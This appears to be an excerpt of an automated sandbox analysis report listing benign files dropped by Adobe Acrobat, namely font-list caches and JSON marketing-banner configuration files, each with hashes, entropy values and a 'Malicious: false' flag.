File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346351247833156
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJM3g98kUwPeUkwRe9:YvXKXHAvvYpW7rHGMbLUkee9
MD5:	866511A770BA76FDE38B1C8735937FA0
SHA1:	78F38FDFCC0CAC9A035640A5ACD85397827AE829
SHA-256:	00F3E8AFB4E55E5954DA11A8ABDAE09CCC183190326666CBD84C7D9F9EE41228
SHA-512:	D9D3AA0A481001417E75E27164E08ECD42E08692C3E33F00ADC73A9175892B2C900A9E7F6AF9BE59E35B241C089EDF0B85390EB33CF8F3BC7419D38358E569D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282724143741893
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfBoTfXpnrPeUkwRe9:YvXKXHAvvYpW7rHGWTfXcUkee9
MD5:	B49F54C8630431A00F9D5BB20C38E600
SHA1:	D7CD143120B7217FBF8EFFEB18FC2D951264B6EF
SHA-256:	D13B94C35F8D7BAB424F266DF14B5C81EB94A237C35CA8CC74CA8B4AFDA15558
SHA-512:	0F7FA17487B3E711F4611855C486D6C16BE26A0FAFF0DF511254AC7BE046C2D8FCA82EEBCEB1A70D805E7186C4599EC0BEA5E8CC3FF0C8E68A89B277CA33C0D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262741860558252
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfBD2G6UpnrPeUkwRe9:YvXKXHAvvYpW7rHGR22cUkee9
MD5:	0896ED6C2BFBBFECF422C9E450DFF042
SHA1:	5744246B0295CC789866EECE79ED83A0E7C95BB6
SHA-256:	6BB038591A753FB2361EC0ACFAC17AF2DACEA73E04FD5C2BFF29A429EA3F2268
SHA-512:	1173B96E9FDD4C69A7BFEA081EA6E0DFB0C1D07B45E15F20BD3D78750825F5931BB5973DDDFA8ECA9B739CDCD6784BD101B1CD3E09059D715272307877E5D11C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324647208347301
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfPmwrPeUkwRe9:YvXKXHAvvYpW7rHGH56Ukee9
MD5:	871695A99712E1D18603782E7538669F
SHA1:	C3075A2A81302FF351A5987FF467D40E8B3C8380
SHA-256:	45D539C6C5F2AD1E1DD25F543653B13B66419242ABC801D979D51833608781D7
SHA-512:	B5461C485CEADE2DBAA99AC8C8E8A4C9436133D8EBF2947BFD8784ADC1B6DCB768D93B44E04729FF8E7465E84932CA94057FD9CCFA44C7451BCC987B4A219F6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690150584022034
Encrypted:	false
SSDEEP:	24:Yv6XHqcirMpLgE9cQx8LennAvzBvkn0RCmK8czOCCScS:Yv0qjohgy6SAFv5Ah8cv//
MD5:	67AD325E8C06DCBE25F07D388C636611
SHA1:	5E31FC06246E5E43F08F9940E20259A50E6B521C
SHA-256:	C842444C81546C6E5E64A93C8A511B5AEEC152839FE6C1B240169CABAC5B8637
SHA-512:	44A0904D273588BDD7802A5F71E4B0DFE7A59DFE01DABC6CC539710CCA16FC259DCB5DC07D8679ECF8B0D52FC1CBFA335EC62A0E0EE6017472C74626197B9728
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269372521206522
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJf8dPeUkwRe9:YvXKXHAvvYpW7rHGU8Ukee9
MD5:	F3039297444E2557B26285DAA1DD92B6
SHA1:	F8224B097BC8F102FF5DC3CF91299831356B0827
SHA-256:	2AE9A510245543B87F2B6965445129B6EC9108ED7FE711F55EB3B17EF7799EA9
SHA-512:	3CB0AA531900CDAB686111DF9283F262AC076DE07B8C7BEA9CD31152D9C39B51A1FEC9B884A72CBEE905632FDD45490668A5D525410455226704D623E2DED7CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.270125800825699
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfQ1rPeUkwRe9:YvXKXHAvvYpW7rHGY16Ukee9
MD5:	B7DA1277CE79F932EA94B39B720D5CE0
SHA1:	C1F32F5D28307AB5A8D3E9B8EDF2AA0D8F2286C4
SHA-256:	063DBBC5FC20AA42641F581330EC74CA3B4A5CD74C1358875F493C304F190338
SHA-512:	FD5B3A8CB3FEDDCBD2A9CB1A69DF31416A30D19625122AD13D033541B8C035C8BF7554BD929072424AA65E5CC27EFB39D4D731A85D76624E659692C11FD23C8A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28983889600788
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfFldPeUkwRe9:YvXKXHAvvYpW7rHGz8Ukee9
MD5:	56D2157BCF8F982F25C1898475F1A54F
SHA1:	C9C4FCB1FAB432ED428C74BDB04F9DD79A36AC39
SHA-256:	805580DBF6EF61767AA7155E664A0CA0BAECF2AB05FAD4E626233DC33C71110A
SHA-512:	A486F82B921F20307BCCC3D6C5BD92F07C6EAEFDC4C13994447C519B4C745AEE8FD2ECBAB7477C84F0CB494DA6EE4D2DA9FF285F91224851B0287BBBC080D43D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.295598161067526
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfzdPeUkwRe9:YvXKXHAvvYpW7rHGb8Ukee9
MD5:	443A7E254A3CBAE5072410DF19A1FDDF
SHA1:	267D00B22748791F4A1F77C04F13D402BB2497CF
SHA-256:	8E048D71011663C5256E7C93B25F4C178F7E44E982CE3E57D675A6CFEF381327
SHA-512:	DDC04D3F5CE95533D757F21F946C3018AC22F170AB107B2FDD756C29CA5068DD64E1DD55508D3426BDBB9B8144E42C72261B0FB35DD415CEF82811C710F6C488
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2757485032906715
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfYdPeUkwRe9:YvXKXHAvvYpW7rHGg8Ukee9
MD5:	3D69AA1DC54E3D655548B0B848C2AEEC
SHA1:	901B85723266BF9FB4611272B0F953264E66E4F3
SHA-256:	F768510448BC88D5E27244E75DC2D1A744D1F9EFB54E9040810EFEC74D14DA1D
SHA-512:	5E3B3922E3E18A8175B37417C33D6672AC7BE28C7C2146E4E0F72295BB561E932C54A9ABC6B6D67E37E81876A49F70B30B44DC849BA18DEF6812A7AF185F0A48
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.26222075413297
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJf+dPeUkwRe9:YvXKXHAvvYpW7rHG28Ukee9
MD5:	DD0900A353D2D398A3C4B9E5EF8A14F1
SHA1:	3DB9B44FDFE1D294B9203CD1AD3965445A64AB09
SHA-256:	B6033E45D37B3DC6495FC35AEC0C3ED9EE298479E43FDF52A1D50453324B9CAC
SHA-512:	EB722DD4E3C253767D73BA9DDD6BDCE4442459E545463614145E9BAB4EE2B8FDAB4AF1999652556CCFF4138827966AD110E7A22FF4E3DB7AA126759A9E355ACE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.259462277917863
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfbPtdPeUkwRe9:YvXKXHAvvYpW7rHGDV8Ukee9
MD5:	548D485F13A0808C5F356D70EBC0D5D4
SHA1:	63825BDD0A90A092E16D1F269990BAAAFDFC20E5
SHA-256:	FF69AC196D061579AD3AEBD77E5B2EC26D5857F19C907521DE15604E017E0E81
SHA-512:	EF34738273B7BAD2A6BA4018E36729E24ED937BFE933ABF9902FEAE523786D98BA438BFB4BA720450CAE89C1795C91FF57CC50AEC0A8E8A2F965CF9DA943736F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.260799820270823
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJf21rPeUkwRe9:YvXKXHAvvYpW7rHG+16Ukee9
MD5:	9493F002DEF2EAD7A96A0CA846E83DD4
SHA1:	3771DFA752C9EAD066846157318A4906276B8A3B
SHA-256:	CD54E48AA83769ED23C1BBFC1EC47C3395D139B5A80CFC2185329B9E774CF837
SHA-512:	6938E419F81AE5904A5E3149155E2A8E36A5655211B0CC7F3B3C044AF7BB9DA2D35C8F3DFCECD426F4D4FAE3538450097018D91C084A76DE08D45C948ABEE9FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661866948417226
Encrypted:	false
SSDEEP:	24:Yv6XHqcir4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BScS:Yv0qj6BgkDMUJUAh8cvM/
MD5:	A9C335D25173CCF06302E6783AE54C8B
SHA1:	2A4E357C6A996821B8B4136B3D5B3FCAE0FAF4FC
SHA-256:	F11EC527618335E7EA94A30A8000D04EE094E2BB2483D5E7B7424999C0A788DD
SHA-512:	96EAA424E74E139A05D7AF82DC37149536E6EF5EA20EB8AFF42A96734E045DEBE4D16DAC543BBCA955E9144DF7D967DD134E0FA00252F6CD2E4ABD745548950F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 